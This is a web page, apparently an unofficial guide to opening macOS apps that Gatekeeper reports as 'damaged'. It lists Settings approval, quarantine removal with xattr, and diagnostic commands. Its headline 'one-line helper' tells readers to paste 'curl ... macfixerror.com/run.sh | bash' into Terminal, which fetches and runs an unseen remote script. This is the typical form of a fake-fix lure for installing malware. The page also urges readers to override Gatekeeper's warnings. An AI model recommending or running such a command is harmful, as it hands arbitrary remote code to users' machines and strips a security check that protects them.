How to Open a “Damaged” App on Mac

You do not have to trash the app. The “damaged” dialog is a failed trust check, and there are three routes past it: approve the app in Settings, clear the quarantine flag in Terminal, or unpack a clean copy. Start with the first and stop as soon as the app launches.

Updated December 2, 2026 · About 5 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Clear the quarantine flag
sudo xattr -cr "/Applications/Your App.app"

The most reliable route. Drag the app into Terminal to fill the path, press Return, enter your password.

Launch from the shell
open "/Applications/Your App.app"

Starts the app from Terminal. Useful when Finder double-click keeps failing and you want the error printed in the window instead of a dialog.

Check whether Gatekeeper accepts it
spctl -a -vv "/Applications/Your App.app"

A rejection names the reason. If it says the code is unsigned, approving the app manually is the right next step.

Route 1: Open Anyway in Settings

  1. Double-click the app once. The blocked dialog appears; dismiss it.
  2. Open System Settings → Privacy & Security.
  3. Scroll to Security. An “Open Anyway” button appears for the last blocked app.
  4. Click it, authenticate, then confirm the final prompt.

This is the least invasive route and works for intact but unsigned apps. On macOS 15 and later it is the only supported manual approval path; Control-click → Open is no longer present in every flow.

Route 2: clear quarantine in Terminal

  1. Move the app to /Applications.
  2. Open Terminal with ⌘ + Space.
  3. Run sudo xattr -cr "/Applications/Your App.app" with the real path.
  4. Open the app normally.

This removes the metadata that triggered the check. It is safe when you trust the source and it is the route most likely to work in one attempt. The narrow form xattr -d com.apple.quarantine is described in its own guide.

Route 3: unpack a clean copy

  1. Delete the broken copy and empty the Trash.
  2. Download the archive again from the vendor.
  3. Double-click the ZIP so Archive Utility expands it — not a third-party archiver.
  4. Drag the result into /Applications and open it.

A fresh copy is the strongest fix when the bundle itself was altered. If this copy also fails, the build's certificate is probably expired and only the developer can reissue it.

Reading the error instead of guessing

Terminal gives better diagnostics than the dialog:

  • spctl -a -vv "path" — Gatekeeper verdict and the rejection reason;
  • codesign -dv --verbose=4 "path" — signing identity, or “not signed at all”;
  • xattr -l "path" — whether the quarantine flag is even present;
  • lipo -archs "path/Contents/MacOS/Name" — whether the architecture matches the Mac.

Match the output to the cause before trying more routes. Clearing attributes on a truncated download will never help.

When to give up on the copy

Move on to a fresh download if the bundle is unsigned after unpacking, if the signature timestamp is expired, or if a re-download produces the same rejection. None of those are local problems, and no amount of attribute clearing changes them.

Frequently asked questions

Is it safe to open a damaged app?
If it came from the vendor you intended and Gatekeeper reports a valid Developer ID, yes. Clearing quarantine only skips the provenance check, not the signature.
Why is there no Control-click → Open option?
macOS 15 moved manual approval to System Settings → Privacy & Security → Open Anyway. Use that button.
Does the app stay opened after a reboot?
If the flag was removed or approved once, yes. The approval is stored per app until the file is replaced.
Can I use the open command instead of Finder?
Yes, but it does not bypass the check by itself; it just prints a clearer error. Combine it with the xattr fix.
What if the DMG is damaged, not the app?
Re-download the disk image. Verify the checksum if the vendor publishes one, mount it again, and copy the app out before running it.
Will I have to do this for every update?
Usually not. Updates replace the bundle, and the flag is only re-added if you download the update manually through a browser.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.